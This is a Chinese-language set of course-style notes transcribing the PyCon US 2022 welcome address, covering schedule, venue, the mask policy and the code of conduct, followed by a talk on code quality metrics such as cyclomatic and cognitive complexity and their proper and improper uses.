在 Zoom 视频通话中,我们仿佛昨天才见过面。这正是我认为我们社区如此独特的原因。我是艾米莉·莫尔豪斯。能够在过去三年中担任 PyCon 的管理者,我感到非常荣幸。我由衷感激今天能与大家亲自相聚。
因此,我代表 PyCon 2022 的工作人员,首先向大家表示感谢。

感谢所有志愿者,他们让会议的每个环节得以实现。感谢 Python 软件基金会(PSF)、其董事会和员工承担本次会议的管理和财务责任。感谢所有在我们线上会议期间支持我们的赞助商,以及再次回到现场赞助我们的每一位。感谢所有前来分享工作的演讲者。
对于所有与会者,无论是现场还是观看直播的,没有你们,我们将一无所成。欢迎来到盐湖城。我真心希望大家能抽时间探索这座城市的美丽景色。这里绝对有适合每个人的东西,比如美食。

有很多户外活动可做,例如徒步旅行、参观博物馆和美丽的教堂。交通系统也非常便利。我希望大家能体验会议场馆之外的城市风貌。
接下来,我们来谈谈 PyCon。如果你是第一次参加 PyCon,恭喜你,同时也表示歉意。因为 PyCon 已发展成如此庞大的活动,我们无法在欢迎词中概述每一个环节。如果你是第一次参加,希望你昨天参加了 Kojo Trey 和 Melanie 组织的新人导向活动。对于没有参加的人,我们有一些佩戴“请问我”徽章的工作人员。
如果你对会议有任何疑问,或想充分利用参会体验,请找到这些人,他们一定会非常乐意告诉你关于 PyCon 的一切。从高层次看,PyCon 分为三个部分。第一部分是前两天教程,这部分已经结束。
从今天开始,我们将迎来三天的主会议,之后是两天的冲刺活动。具体来说,今天和明天,每天将以主旨演讲开始,然后是全天的大部分讲座,最后以闪电演讲结束。周日,日程安排会略有不同。

周日早上将有几个讨论小组和一场主旨演讲,之后直接进入招聘会。下午将有一小部分讲座,最后是我们的闭幕主旨演讲和 PSF 年度报告。我们的主旨演讲安排如下:本次欢迎致辞后,我们将邀请 Wukash Langa。明天将有 Sarah Isawam 和 Peter Wang。
周日将有 Python 指导委员会的演讲,闭幕主旨演讲将由 Naomi Steder 进行。请确保周日早点到场。我们仍将在早上 9 点开始,并且早上 9 点将有一个特殊的多样性与包容性工作组小组讨论。闪电演讲将在今天演讲之后、明天主旨演讲之前、明天演讲结束后以及周日主旨演讲之前举行。
这些都是非常有趣的小活动。如果你有时间,一定要来看看。如果你有兴趣进行闪电演讲,我们设有报名通道。这是一个可以谈论任何事情的机会,只需遵循我们的行为规范。内容不一定要与 Python 相关,当然也可以。这是一个分享各种奇特想法或你上周学到的东西的绝佳场所。
现在,让我们花点时间熟悉一下场地。我们所在的空间相当大,有些设施分布在不同区域。目前你在大宴会厅,这里将举办接下来三天的全体会议。
在你的右手边(我的左手边),穿过这些门或拐角,是我们的展览厅。它位于展览区 CD 和 E。我们与另一个活动共享空间,这一点应该很明显。请务必留意,确保在你去的任何地方都能看到与 Python 相关的标志。
我们的车库门会打开,以便你清楚地看到展览厅的位置。这里将是会议的主要枢纽,包含许多内容。以下是展览厅的主要功能列表:
- 所有周日的餐食将在展览厅提供。
- 休息期间提供的咖啡和零食将位于顶层房间的外面。因此,你不必为了喝咖啡而从讲座跑回展览厅。
- 如果你在注册时注明了任何过敏或饮食限制,请查看指示你去特定区域的标志。
- 如果你对食材或食物有任何担忧,请务必找到会议工作人员询问。
- 请注意展览厅内的交通模式。我们在许多区域尽量促进单向流动,有些区域地板上会有箭头。请注意你与其他与会者的互动方式,因为我们仍需尽可能保持健康和安全。
你还会在展览厅的初创企业行找到所有赞助商展位。一定要去看看我们的赞助商。他们正在做非常酷的事情,投入了大量精力和资金搭建出色的展位,并为每个人带来了很多赠品。
老实说,正是这些人在过去几年持续投资于 PyCon 和 PSF,使我们能够继续蓬勃发展。接下来是海报和招聘会。如果你在找工作或对海报感兴趣,展览厅届时将过渡到这个环节。
因此,展览厅将在周五和周六设置赞助商展位,然后会在一夜之间转换。当你周日早上进来时,这将是一个全新的体验,我们将展示所有海报并举办招聘会。讲座将在会议空间的三个不同区域进行。
查尔茨讲座将在这个楼层的一个房间(具体房间号请参考另一张幻灯片),其他所有讲座将在第二层或第三层进行。请再次留意 PyCon 标志,它们会指引你使用哪些电梯和扶梯,以及如何到达那些空间。今年我们实际上在头两天有五条讲座轨道,最后一天有四条。
今年共有 92 场活动,这非常惊人,几乎达到了疫情前面对面活动的数量。但除非你有时间转换器,否则你只有 18 次机会现场听讲座。不过不用担心,大部分讲座都会被录制并尽快在线提供。因此,安排时间时一定要考虑到这一点。
不要因为参加讲座而让自己疲惫不堪。确保你抽出时间照顾自己,并与其他与会者交流。我们还有开放空间,这是与其他与会者见面、分享和学习,或许还能找到共同感兴趣话题的绝佳机会。
你可以组织自己的活动或参加别人的活动。请访问网址 PyCon.us/os,那里会有最新的开放空间公告板照片。但如果你想报名参加某个活动,请务必亲自查看位于 150A 堆叠室外的那个公告板。PyCon 占用了这个会议中心的大部分区域,使其成为举办此类会议的最佳场所之一。
PyCon 和许多其他会议以“走廊轨道”而闻名,这是一种非正式活动。因此,你可以加入一张桌子,认识新朋友,打开笔记本电脑一起解决问题,找到你一直想见面的人,或与多年未见的朋友打个招呼。请记住,当你站在一群人中时,要为他人留出加入的空间。
这是来自空气文化的一句名言,实际上是在我们社区中展现包容性的一个非常好的方式。所以,如果你站在一群人中,有人走过来问“嘿,我可以和你们聊聊吗?”,请确保你自我介绍,打个招呼,也许问他们“这是你第一次参加 PyCon 吗?你对什么感到兴奋?”,然后开始一段对话。
接下来是一些重要的后勤事项。在整个会议中心有两个性别中立的卫生间。一个在这个楼层的急救室附近,距离性别卫生间只需拐个弯;另一个在楼上 255 房间附近的上层房间旁边。还有母婴室,虽然名称不太理想。
它们几乎位于每个洗手间附近,但请注意有些在女性洗手间内,有些在外面。它们确实对任何哺乳的人开放,配备了舒适的椅子、冰箱和水槽。如果这对你有用,可以来找我,我是一位新妈妈,想见见我的 PyCon 同伴们。
如果你需要休息一下,专注于一些安静的工作或者只是深呼吸,我们有一个安静室,位于 151B。你只需沿着走廊向右走,进入右侧的小走廊里。外面有一个标志。如果你需要休息,请考虑遵守这个房间的规则。
请不要在房间里听音乐、在笔记本上播放视频、接电话等。这里应该是一个让人们退后一步、安静充电的空间。欢迎使用耳机,但请注意其他可能在使用这个空间的人。
我们最喜欢的活动之一是 Pylades 拍卖。拍卖将于明晚 6:30 在街对面的马里奥特酒店举行。不要去那个需要走 15 分钟远的酒店,你不需要走那么远。请确保你去的是正确的马里奥特酒店,它就在街对面。
这是一个充满乐趣的活动,你可以竞拍许多物品,享用一些食物,和大家一起聚会。这通常是一个非常愉快的时光,大家纷纷出价,支持一项非常好的事业。该活动目前已经售罄。如果你有票但不打算参加,请考虑把票转让给其他人,以确保我们能用完所有的票。
这有助于减少食物浪费,并确保活动保持活跃。正如你所见,今年 PyCon 上有很多活动。我们的指南应用程序是你查找会议最新信息、查看会场地图、创建个人日程的绝佳工具。
你可以将所有信息离线保存到手机里。请务必下载指南应用程序。你可以在 PyCon 网站上轻松获取,网址是 PyCon.us/guidebook。或者在 PyCon 网站上还有关于安装和获取访问权限的更多信息。
举办此次会议的财务责任重大。如果没有 PSF 董事会和工作人员的努力,我们就不会在这里。因此,如果你或你的公司有能力,请考虑捐款。你可以访问相关网址,获取 PSF 赞助商页面的访问权限。我们还有赠品领取处。
我注意到有些人已经在外面领取纪念品。今年我们只有贴纸。提前订购 T 恤的人现在可以领取。我们明天下午 1 点左右会有限量 T 恤出售。但如果你想购买而还没下单,你需要等到明天。
我们还有一个小的地点变更。查尔洛特的会议室不再在 253 A 和 B,现在在 151 DEF 和 G。这已经在你能找到信息的所有地方更新了,包括 PyCon 网站、指南应用程序和现场标识。但我们想特别提一下,确保你去正确的地点。
如果你正在拍摄活动,请注意,佩戴黄色圆点的与会者选择了不拍照。因此,请注意不要发布任何有这些圆点的人的照片。此外,如果你想选择不拍照但还没有得到这些标识,可以随时联系注册台获取。
最后,如果你有任何需求,可以在会议上或通过 Twitter @staff@pycon 发推文。我们会密切关注该账户。如果你想发布有关会议的内容,请使用标签 #pyconus2022。现在,我们今天讨论的最重要的事情之一是健康与安全。
哦,显然我关于健康和安全的笔记不见了,这可不是好事。

发生这种情况。给我一秒钟,因为我想确保尽可能接近这个。好的,我们先回到幻灯片。我们想说,我们对所有健康和安全政策的积极反馈感到无比感激,以及我们采取的严格措施,以确保 PyCon US 能够以最安全的方式进行。

我需要提醒大家,只有在积极吃东西或喝水时才能摘掉口罩,或者如果你是站在讲台上的发言人。请确保。


在你与可能对你有问题的参与者交谈之前,请确保你立即戴上口罩。这真的是为了确保我们以最安全的方式参与,保护在场的所有人。我们无法知道其他人有什么情况。有很多人有小孩,他们免疫系统较弱或有其他风险。
他们能够参加会议、平衡这种风险的方式之一,就是我们共同达成的继续佩戴口罩的协议。所以这是你的口头警告。监控现在开始。如果你被发现没有戴口罩,工作人员会提醒你戴上。
会有一个小打孔器,他们会在你的证件上打一个小孔,以便你知道你已经得到了第一次警告。第二次警告将与工作人员讨论。如果我们发现你第二次没有佩戴口罩,我们将带你进入工作人员办公室进行对话,并确保下一次警告非常明确。
这是因为你的第三次警告意味着你将被请回家,直至会议结束。我们会愉快地将你转为在线票,这样你仍然可以参与并观看演讲等内容。然而,我们将不允许你再次进入会议或会议的任何外部活动。好的。就这样,非常有趣的公告。
我也想强调可及性。我们将为今年的所有演讲提供实时字幕。这与我现在的情况非常相似——哦,我实际上看不见它们。我想它们在——我希望我们有字幕。也许没有。哦,谢谢。嘿。看看这个。所以我们确实有字幕。因此,另外。
每个空间都将为轮椅使用者保留座位。这将在楼层上标明。一般来说,它会位于房间的中央。此外,会议符合 ADA 标准。然而,如果你有任何担忧或需要额外支持,请告知工作人员。我们还要对我们的字幕赞助商,Meta,表示由衷的感谢。
Red Hat、Coiled、Tide Lift、Source Craft、Cuddle Soft 和 Launched Darkly。这些都是为字幕提供资金支持的公司,不仅为我们的全体会议,还为我们五个分会场提供字幕,这太棒了。因此,我们最后一个也非常重要的事项是 PyCon 的行为守则。
因此,我们深切致力于为在场的每个人提供安全的环境和积极的体验。为了确保这一点,所有在场的人员,包括工作人员、与会者、演讲者、赞助商、志愿者,任何与此次 PyCon 活动相关的人都必须遵守我们的行为守则。绝对没有人例外。没有人高于法律。因此,绝不允许骚扰。
无论是口头还是身体上的歧视都不会被容忍。每个人在这里都将获得一个无骚扰的体验,无论性别、性别认同、表达、年龄、性取向、残疾、神经类型、外貌、身体大小、种族或宗教或缺乏宗教。我们对此非常认真,希望确保在场的每个人都能有一个尽可能安全的体验。
因此,你可以在行为守则中阅读更多内容,以及我们处理事件的程序链接以及我们的回应将如何展现,以及执法的情况。你可以在我们屏幕上的网址或 PyCon 网站的 /about/code_of_conduct 中找到所有这些文件。如果你认为有人违反了行为守则。
鼓励您随时报告,无论严重程度如何。您可以通过发送电子邮件到 PyCon-US-report@pyCon.org 或在会议期间进行报告。您可以来到 150A 的工作人员办公室,我们会确保找到合适的人与您沟通。

适合您交流的正确人员。

总结
在本节中,我们一起学习了 PyCon 2022 欢迎致辞的主要内容。我们回顾了会议背景、核心日程安排(包括主旨演讲、讲座、闪电演讲、开放空间等)、重要场地信息(如展览厅、讲座区域、安静室等),以及所有参会者必须严格遵守的健康与安全政策(特别是口罩佩戴规定)和行为准则。这些信息旨在帮助每位参会者,尤其是初次参与者,能够安全、顺利且充实地享受本次 PyCon 大会。
090:如何使用以及如何不使用代码


在本节课中,我们将学习代码质量指标。我们将探讨几个核心指标,了解它们如何帮助我们更客观地评估代码,并讨论如何正确使用这些指标,同时避免常见的陷阱。
概述
代码审查是软件开发中的常见实践,但我们的判断往往带有主观性。本节课将介绍一系列代码质量指标,如函数长度、圈复杂度、认知复杂度和工作记忆,它们可以为代码审查引入客观性。我们将学习如何从这些指标中获取见解,并理解它们的局限性。
代码审查与客观性
上一节我们提到了代码审查的主观性,本节中我们来看看如何引入客观性。
大多数开发者都会进行代码审查,无论是审查自己的代码还是他人的代码。然而,很少有人会认为自己的审查是完全客观的。因此,我们需要一些工具来为代码审查引入客观性。
我们将介绍一些指标,并展示如何从这些指标中获得见解。同时,讨论这些指标的陷阱也非常重要。
第一个指标:函数长度
让我们从一个简单的例子开始,直观感受代码质量的差异。
以下是两个代码片段,在不深入阅读的情况下,你更喜欢哪一个?
- 左边的代码片段?
- 右边的代码片段?
大多数参与者选择了右边的代码片段。一个常见的原因是它更短。这引出了我们的第一个指标:函数长度。
在Python中,计算代码行数非常简单,这通常能近似反映语句的数量。函数长度可以让我们对代码的复杂性有一个初步的感觉。
核心概念:函数长度 ≈ 代码行数
即使你只记住这个简单的指标,它也已经是一种让代码讨论更具体、更数字化的方式。
当然,这个指标有其局限性。追求最短的解决方案并不总是好事。
第二个指标:圈复杂度
接下来,我们看另一组代码片段,它们的区别不在于大小,而在于结构。
以下是两个复杂度不同的代码片段,你更喜欢哪一个?
- 左边的代码片段?
- 右边的代码片段?
这里的区别引出了我们的下一个指标:圈复杂度。
圈复杂度本质上是代码中分支数量的衡量标准。每个 if 语句、try-except 块等都会增加圈复杂度。
核心概念:圈复杂度 = 分支数量 + 1
这个指标在70年代被开发出来,当时代码的可测试性至关重要。代码中的分支越多,测试时需要覆盖的情况就越多。因此,圈复杂度与可测试性密切相关。
然而,圈复杂度也有其局限性,它不关心分支的嵌套深度。
第三个指标:认知复杂度
上一节我们介绍了圈复杂度,本节我们来看看它的一个改进版本。
以下两个代码片段的圈复杂度都是3,但结构明显不同。
- 左边的代码片段有嵌套结构。
- 右边的代码片段有三个顶级分支。
你更喜欢哪一个?
圈复杂度无法区分这两者,但 认知复杂度 可以。认知复杂度不仅惩罚新分支,还特别惩罚嵌套结构。
核心概念:认知复杂度在圈复杂度的基础上,增加了对嵌套和递归的惩罚,同时鼓励使用推导式等“简短结构”。
认知复杂度于2016年被提出,更侧重于代码的可读性和可维护性。它试图更贴近人类理解代码的认知负荷。
第四个指标:工作记忆
为了引出下一个指标,我们先做一个小练习。
屏幕上会依次出现一组数字,请尝试记住它们。
- 3个数字:大多数人能记住。
- 7个数字:约一半人能记住。
- 13个数字:几乎没人能记住。
这是一个已知的心理现象:人类的短期工作记忆容量有限,通常在7±2个信息块左右。这激励了我们的下一个指标:工作记忆。
工作记忆指标试图量化阅读代码时需要同时保存在脑海中的信息量。它计算每个语句中正在使用和即将使用的变量数量,并考虑上下文(如条件分支)。
核心概念:工作记忆 ≈ 峰值(同时活跃的变量数 + 上下文分支数)
这个指标的局限性在于,它难以精确量化“需要知道什么”,因为这取决于阅读者的专业知识和对代码库的熟悉程度。
指标总结与关联
我们已经看到了四种不同的指标:
- 函数长度:衡量代码大小。
- 圈复杂度:衡量以代码为中心的分支复杂性。
- 认知复杂度:衡量以人为中心的嵌套和递归复杂性。
- 工作记忆:衡量阅读代码时的瞬时认知负荷。
它们从不同角度描述了代码质量:
- 大小 vs 复杂性
- 以代码为中心 vs 以人为中心
改善代码质量意味着:
- 缩短函数(减少大小)。
- 减少分支(降低圈复杂度)。
- 避免深层嵌套(降低认知复杂度)。
- 控制变量作用域(减少工作记忆)。
有时这些指标可能相互矛盾,因此实践中可能会使用加权平均值(如可维护性指数)来获得一个综合分数。
在真实代码库中应用指标
上一节我们学习了理论指标,本节我们来看看如何将它们应用到真实的代码库中。
我们可以使用箱线图等工具来可视化一个代码库中所有函数的指标分布。例如,分析多个流行Python库的函数长度后发现:
- 函数长度的中位数普遍在5到6行之间。这表明,对于可维护的开源代码,5行左右的函数是一个良好的风格指南。
- 存在一些异常值(超过100行的函数),这些是需要重点关注的区域。
同样,分析认知复杂度和工作记忆时也发现:
- 大多数函数的工作记忆中位数在9左右,这恰好落在人类工作记忆容量(7±2)的范围内。这表明好的代码在实践中无意间符合了认知理论。
- 认知复杂度通常略高于圈复杂度,这与预期一致。
追踪代码库的演变
指标不仅可以用于静态分析,还可以用于追踪代码库随时间的变化。
通过绘制某个代码库在不同版本中的平均认知复杂度,我们可以观察到:
- 在版本0.8附近有一次大规模重写,显著降低了复杂度。
- 之后随着新功能加入,复杂度偶有上升,但通过后续重构得以降低。
另一种视图显示,虽然平均复杂度在下降,但异常值(复杂度极高的函数)的数量可能增加。这表明即使整体质量在改善,新的技术债务也可能被引入。
如何使用代码质量指标
代码质量指标就像测试覆盖率:高覆盖率不一定代表测试好,但低覆盖率通常意味着测试差。同样,良好的质量指标分数不代表代码一定优秀,但糟糕的分数通常预示着问题。
以下是代码质量指标的几个典型用途:
1. 辅助决策(如重构 vs 重写)
当团队争论是重构旧代码还是重写时,指标可以提供客观数据。例如,如果一个库大部分函数质量良好,但存在少数复杂度极高的异常值,那么重点重构这些异常值可能是更经济的选择。
2. 指导重构方向
指标间的差异能提示重构方向。例如,如果一个模块的函数平均长度很短(~3行),但平均工作记忆很高(>13),这可能意味着代码中挤满了太多变量,缺乏适当的抽象。此时引入新的数据结构或类会很有帮助。
3. 识别风险区域
复杂度高的函数更可能隐藏错误,是需要增加测试覆盖率和代码审查重点关注的区域。
4. 建立代码风格检查
可以基于指标设定团队标准,例如“函数长度不超过20行”、“认知复杂度低于15”等。
如何不使用代码质量指标
上一节我们看到了指标的正面用途,本节我们必须强调其误用可能带来的危害。
1. 切勿将其作为开发者绩效评估工具
指标是有偏见的,它们反映的是某种特定的编码风格,而这种风格并非放之四海而皆准。用它来给开发者排名会鼓励“应试”编程,损害代码质量和团队合作。
2. 警惕“平均值”陷阱
对于这些通常呈长尾分布(有很多小值,少数极大值)的指标,平均值往往没有代表性。真正有价值的信息藏在异常值里。关注平均排名会误导方向。
3. 它们不是代码质量的完整定义
代码质量包含许多未被这些指标捕捉的方面:
- 命名:变量、函数名是否清晰、一致?
- 项目结构:模块划分是否合理?依赖关系是否清晰?
- API设计:是否易于使用和理解?
- 正确性:指标完全无法证明代码逻辑正确。
4. 指标可以被操纵
就像可以写出不包含任何断言的测试来凑覆盖率一样,也可以写出符合所有指标但完全不可读、不可维护的代码。指标是工具,不是目标。
总结
本节课中,我们一起学习了代码质量指标。
我们探讨了四个核心指标:函数长度、圈复杂度、认知复杂度和工作记忆。它们从代码大小、分支复杂性、嵌套结构以及认知负荷等不同角度,帮助我们更客观地评估代码。
我们看到了这些指标的用途:
- 为代码审查和团队讨论提供客观输入。
- 建立代码风格指南。
- 识别高风险、需要改进的代码区域(异常值)。
- 辅助重构、重写等复杂决策。
更重要的是,我们强调了其局限性:
- 它们不是代码质量的完整度量。
- 绝不能用于开发者绩效排名。
- 需要警惕对“平均值”的误读。
- 指标本身可能被操纵。
最终,代码质量指标只是一个工具。它可以帮助我们写出更好的代码,但无法保证代码的正确性。正确实现功能、满足用户需求,始终是我们最重要的目标。
就像漫画里那个应用,它可能拥有完美的“四星评级”和“良好的界面”,但如果它不能警告用户关于龙卷风的信息,那它依然是失败的。工具服务于目标,而非相反。

感谢所有相关指标的研究者和开发者。如果你想了解更多,可以查阅SonarSource关于认知复杂度的论文,或访问 RepoAnalyses.com 查看对开源库的分析。

浙公网安备 33010602011771号